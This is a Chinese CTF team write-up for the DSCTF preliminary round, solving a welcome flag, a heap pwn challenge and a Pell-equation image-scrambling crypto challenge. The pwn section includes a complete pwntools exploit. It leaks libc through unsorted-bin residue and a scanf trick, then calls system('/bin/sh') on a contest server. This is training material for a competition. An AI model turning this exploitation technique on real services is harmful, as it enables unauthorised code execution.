太難了,就這樣吧,勉勉強強做出來3題,還得繼續努力呀!
【Misc】Welcome_to_DSCTF
這題挺遺憾的,手速不夠快,沒搶到一血。嘿嘿
flag{Welcome_to_DSCTF}
【Pwn】fuzzerinstrospector
題目附件
查看保護
保護全開
逆向分析
根據功能修一下程序
修復后↓
具體修復過程不多說, 主要就是看函數邏輯
程序邏輯
程序搞了一個小的結構體
struct chunk
{unsigned __int8 bitmap_idx
[8];unsigned __int8 bitmap
[256];
};
Add
add時在堆上分配這樣一個結構體
然后輸入
循環輸入bitmap_idx
%c吞掉殘留的換行符
輸入bitmap
必須輸入0x100個字符才能結束
Edit
沒啥好說的, 基本就是add的輸入部分重新來了一遍, 利用時完全沒有用到
Show
以chunk結構的前8字節的數組, 每一個字節作為一個索引, 輸出0x100大小的bitmap中對應索引位置的值
Dele
刪除, 做了清零處理, 沒有UAF
Run
最大漏洞點
可以輸入一個地址, 然后直接調用
利用思路
因為Run里面可以調用一個已知地址, 所以我們只需要泄露libc, 然后輸入system, 并將a1的內容控制為/bin/sh即可
通過將chunk free到unsortbin再申請回來來泄露libc
這里有一個trick
注意到
read_index中的輸入是用scanf來進行輸入的
正常情況下, scanf的輸入應該會覆蓋掉我們的bitmap_idx, 也就是chunk的前8字節, 即fd位置, 同時后方的bitmap因為強制輸入的關系也會被覆蓋, 但是因為scanf具有一個小特性, 在輸入一些不符合格式化字符要求的字符時, 如%d輸入一個’+', 這種情況, scanf會返回, 不會寫入,所以我們能通過這一點保存申請回來時殘留的libc地址
另一個問題是泄露, 根據show函數的邏輯, 我們只需要控制bitmap滿足bitmap[i] == i
那么在show前8字節含有libc地址的chunk時, 他就會打印出相印的值
大概的分配流程
for i
in range(9):add
(i
) // 第九個分隔topchunk
for i
in range(9):dele
(i
) // 需要free第
9個chunk的原因在后面會說
for i
in range(8):add
(i
)
show
(7)
此時第8個(索引 7)里就含有libc地址
free第9個是因為
如果unsortbin中只有一個0x110的chunk, 會先優先放入tcache中, 那么我們的fd就會被清0, 不含有libc地址
所以需要free掉第9塊chunk, 讓第8塊chunk跟第9塊chunk與topchunk合并
那么此時libc就殘留在topchunk上, 不會再被放入tcache, 再去add分配一塊chunk, 那么就得到了一塊具有libc地址的chunk
然后就是show, 接收libc地址, 控制一下Run函數里的參數, 這部分比較簡單, 詳細可以看exp
最終exp:
from pwn
import *
context
.arch
= 'amd64'
context
.log_level
= 'debug'def n2b(num
): return str(num
).encode
()def cmd(choice
):sh
.sendlineafter
(b'Your choice: ',n2b
(choice
))def add(idx
,head
,content
):cmd
(1)sh
.sendlineafter
(b'Index: ',n2b
(idx
))for i
in range(8):sh
.sendlineafter
(b'Index: ',head
[i
])sh
.sendafter
(b'Bitmap: ',content
)def edit(idx
,head
,content
):cmd
(2)sh
.sendlineafter
(b'Index: ',n2b
(idx
))for i
in range(8):sh
.sendlineafter
(b'Index: ',n2b
(head
[i
]))sh
.sendlineafter
(b'Bitmap: ',content
)def show(idx
):cmd
(3)sh
.sendlineafter
(b'Index: ',n2b
(idx
))def dele(idx
):cmd
(4)sh
.sendlineafter
(b'Index: ',n2b
(idx
))def run(addr
):cmd
(6)sh
.sendline
(n2b
(addr
))
sh
= remote
("39.105.185.193",30008)
table
= b''for i
in range(0x100):table
+= i
.to_bytes
(1,'little') for i
in range(9):add
(i
,'+'*8,b'0'*0x100)
for i
in range(9):dele
(i
)binsh
= [n2b
(i
) for i
in b'/bin/sh\x00']
add
(0,binsh
,table
)for i
in range(1,8):add
(i
,'+'*8,table
)show
(7)
libc_base
= 0
for i
in range(6): sh
.recvuntil
(b'Bit: ')libc_base
+= int(sh
.recvline
().strip
()) << (8 * i
)libc_base
-= 0x3ebca0
success
("libc_base : "+hex(libc_base
))
libc
= ELF
('./libc-2.27.so')
libc
.address
= libc_base
run
(libc
.sym
['system'])
sh
.interactive
()
flag{ijkxqr8fo96nm0h4dy753luvbtpz1egw}
【Crypto】picproblem
題目附件
解x和y的思路是佩爾方程
用sage腳本解出x和y
d = 1175915431138623881271508290982969935822476052419526528443170552123//1301149798051259562945444365741194129602596348352064372203373
sols = []
cf = continued_fraction(sqrt(d))
for i in range(2500):denom = cf.denominator(i)numer = cf.numerator(i)if numer^2 - d*denom^2==1:sols.append((ZZ(numer),ZZ(denom)))
print(sols)
運行結果是x和y的值:
[(1524993807674193841904821512553946379967374698278296055158206699585083472817489721493862711615915407326315660670541801753616900039772802728925226091475860689682871555641241500183892397513037971186709123629077584204226084524811673794984687840178772052545441242927492902583547355565525538664836516589721942980577095421561886873928634330640979800040574060218872787212426630202508118484269553983399179155489583316400107655564222453437462724749097265122300644936717434151331633092585140183510349369422527440264746843972834927860065578557836150798690530172694679514231722613822246810010130005324032492360889531553803832398604563088256410481865243771216990603166993198935358471831328395618477974126824762560872337594997394218234427050399655270848385995088586420526886397320949350980406936200217112040971433660322179072288438842964957568719036794320203116263329623589339367497303140938070334557345834226085189140858264388063745189833584962825509843279678826240558480527560, 1604145232044543633656616254647708451166351104281510395737885491696385806407267633308545985473789119651681711082023113933085624628557168423578747544761597312012713558891523798820667618256495398479378172124019360339427592449217208805888502769358288779859969965560832505104388955091637704481336716722418336373334467787371085728212260231330510705797124224353810509272250940285165605853594811893804251478850270703294638335268305881655491870226553141286503109543313414279220480589704210363277523457948607498351377843904335637032510420141505975997452077477296326035048463179997347136990808017374750824810458605412236391952910679246288287664717533857743462935708681309073915761377477454479206054016260422865457862565353002789887917196437750618212918420129464330488021272187952177063175896447842395209693304502304253471733746765257510395226972224876277717457205220726240042035259947453816668460757995771018155703600926745905595162857982860955545877343914746294034180707)]
整體的思路首先是根據x和y的那個assert表達式復原x、y的值,他們的表達式符合佩爾方程,可以用這個解出,求解出x和y后就可以計算出x1-3和u1-3的參數,接下去題目的思路就是通過異或參數打亂圖片的像素點,我們做個逆向操作進行復原。
最后的exp.py
from PIL
import Image
from numpy
import array
, zeros
, uint8
import cv2kn
= 1
x
=1524993807674193841904821512553946379967374698278296055158206699585083472817489721493862711615915407326315660670541801753616900039772802728925226091475860689682871555641241500183892397513037971186709123629077584204226084524811673794984687840178772052545441242927492902583547355565525538664836516589721942980577095421561886873928634330640979800040574060218872787212426630202508118484269553983399179155489583316400107655564222453437462724749097265122300644936717434151331633092585140183510349369422527440264746843972834927860065578557836150798690530172694679514231722613822246810010130005324032492360889531553803832398604563088256410481865243771216990603166993198935358471831328395618477974126824762560872337594997394218234427050399655270848385995088586420526886397320949350980406936200217112040971433660322179072288438842964957568719036794320203116263329623589339367497303140938070334557345834226085189140858264388063745189833584962825509843279678826240558480527560
y
=1604145232044543633656616254647708451166351104281510395737885491696385806407267633308545985473789119651681711082023113933085624628557168423578747544761597312012713558891523798820667618256495398479378172124019360339427592449217208805888502769358288779859969965560832505104388955091637704481336716722418336373334467787371085728212260231330510705797124224353810509272250940285165605853594811893804251478850270703294638335268305881655491870226553141286503109543313414279220480589704210363277523457948607498351377843904335637032510420141505975997452077477296326035048463179997347136990808017374750824810458605412236391952910679246288287664717533857743462935708681309073915761377477454479206054016260422865457862565353002789887917196437750618212918420129464330488021272187952177063175896447842395209693304502304253471733746765257510395226972224876277717457205220726240042035259947453816668460757995771018155703600926745905595162857982860955545877343914746294034180707image
= cv2
.imread
("encflag.jpg")
img_gray
= image
imagearray
= array
(img_gray
)
h
= len(imagearray
)
w
= len(imagearray
[0])assert 1301149798051259562945444365741194129602596348352064372203373*pow(x
, 2) == 1175915431138623881271508290982969935822476052419526528443170552123*pow(y
, 2) + 1301149798051259562945444365741194129602596348352064372203373
x1
= round(x
/y
*0.001, 16)
u1
= y
*3650/x
x2
= round(x
/y
*0.00101, 16)
u2
= y
*3675/x
x3
= round(x
/y
*0.00102, 16)
u3
= y
*3680/x
kt
= [x1
, x2
, x3
]temp_image
= zeros
(shape
=[h
, w
, 3], dtype
=uint8
)
print(len(temp_image
))
print(len(temp_image
[0]))
print(len(temp_image
[0][1]))
for k
in range(0, kn
):for i
in range(0, h
):for j
in range(0, w
):x1
= u1
* x1
* (1 - x1
)x2
= u2
* x2
* (1 - x2
)x3
= u3
* x3
* (1 - x3
)r1
= int(x1
*255)r2
= int(x2
*255)r3
= int(x3
*255)for t
in range(0, 3):temp_image
[i
][j
][t
] = (imagearray
[i
][j
][t
]-((r1
+r2
) ^ r3
)+256) % 256x1
= kt
[0]x2
= kt
[1]x3
= kt
[2]encflagarray
= Image
.fromarray
(temp_image
)
encflagarray
.show
()
flag{yes_you_are_right<>}
另外說一下,那個kn大于0就行了,沒啥鬼用,應該是出題人忽悠的,只要是大于0的正整數就可以了
總結
以上是生活随笔為你收集整理的[ CTF ]天格战队WriteUp-首届数字空间安全攻防大赛(初赛)的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。